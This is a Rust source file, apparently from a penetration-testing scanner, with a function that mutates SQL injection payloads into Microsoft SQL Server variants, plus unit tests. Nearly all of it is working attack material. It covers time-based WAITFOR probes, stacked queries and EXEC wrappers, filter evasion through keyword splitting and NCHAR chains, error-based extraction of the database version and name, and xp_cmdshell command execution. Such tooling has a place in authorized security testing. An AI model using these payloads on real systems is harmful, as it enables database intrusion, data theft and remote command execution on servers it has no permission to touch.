#[must_use]
pub fn mutate(payload: &str, max_mutations: usize) -> Vec<String> {
let mut results = Vec::new();
let lower = payload.to_ascii_lowercase();
if lower.contains("sleep") || lower.contains("delay") {
results.push("WAITFOR DELAY '0:0:5'".into());
results.push("WAITFOR TIME '00:00:05'".into());
}
results.push(format!("EXEC sp_executesql N'{payload}'"));
results.push(format!("EXEC('{payload}')"));
if lower.contains("select") {
let parts: Vec<&str> = payload.splitn(2, "SELECT").collect();
if parts.len() == 2 {
results.push(format!("EXEC('SEL'+'ECT'{}')", parts[1]));
}
}
if lower.contains("select") && !lower.contains("top") {
results.push(payload.replace("SELECT ", "SELECT TOP 1 "));
results.push(payload.replace("select ", "select top(1) "));
results.push(payload.replace("SELECT ", "SELECT TOP 2147483647 ")); }
if lower.contains("char(") {
results.push(payload.replace("CHAR(", "NCHAR("));
}
if lower.contains("||") {
results.push(payload.replace("||", "+"));
}
if lower.contains("from ") && results.len() < max_mutations {
results.push(
payload
.replace("FROM ", "FROM [")
.replace(" WHERE", "] WHERE"),
);
}
if results.len() < max_mutations {
let base = payload.trim_end_matches("--").trim_end_matches('#');
results.push(format!("{base} AND 1=CONVERT(int,@@version)--"));
results.push(format!("{base} AND 1=CAST(DB_NAME() AS int)--"));
}
if results.len() < max_mutations {
results.push("'; EXEC xp_cmdshell 'whoami'--".into());
results.push("'; EXEC master..xp_cmdshell 'id'--".into());
}
if results.len() < max_mutations {
results.push(format!(
"SELECT * FROM OPENROWSET('SQLNCLI','Server=localhost;Trusted_Connection=yes;','{payload}')"
));
}
if !payload.contains(';') && results.len() < max_mutations {
results.push(format!("{payload}; SELECT @@version--"));
results.push(format!("{payload}; EXEC sp_databases--"));
}
if let Some(start) = payload.find('\'')
&& let Some(end) = payload[start + 1..].find('\'')
{
let inner = &payload[start + 1..start + 1 + end];
if !inner.is_empty() && inner.len() <= 15 && results.len() < max_mutations {
let nchar_chain: String = inner
.chars()
.map(|c| format!("NCHAR({})", c as u32))
.collect::<Vec<_>>()
.join("+");
results.push(format!(
"{}{}{}",
&payload[..start],
nchar_chain,
&payload[start + 1 + end + 1..]
));
}
}
results.truncate(max_mutations);
results
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn waitfor_delay_generated() {
let mutations = mutate("SLEEP(5)", 10);
assert!(mutations.iter().any(|m| m.contains("WAITFOR DELAY")));
}
#[test]
fn exec_wrapper_generated() {
let mutations = mutate("SELECT 1", 20);
assert!(
mutations
.iter()
.any(|m| m.contains("EXEC") && m.contains("sp_executesql"))
);
}
#[test]
fn top_max_int() {
let mutations = mutate("SELECT * FROM users", 20);
assert!(mutations.iter().any(|m| m.contains("TOP 2147483647")));
}
#[test]
fn square_bracket_quoting() {
let mutations = mutate("SELECT * FROM users WHERE id=1", 20);
assert!(mutations.iter().any(|m| m.contains("[users]")));
}
#[test]
fn convert_cast_error_based() {
let mutations = mutate("' OR 1=1--", 30);
assert!(
mutations
.iter()
.any(|m| m.contains("CONVERT(int,@@version)"))
);
}
#[test]
fn xp_cmdshell_rce() {
let mutations = mutate("' OR 1=1--", 30);
assert!(mutations.iter().any(|m| m.contains("xp_cmdshell")));
}
#[test]
fn nchar_string_building() {
let mutations = mutate("' OR 'admin'='admin'--", 30);
assert!(mutations.iter().any(|m| m.contains("NCHAR(")));
}
}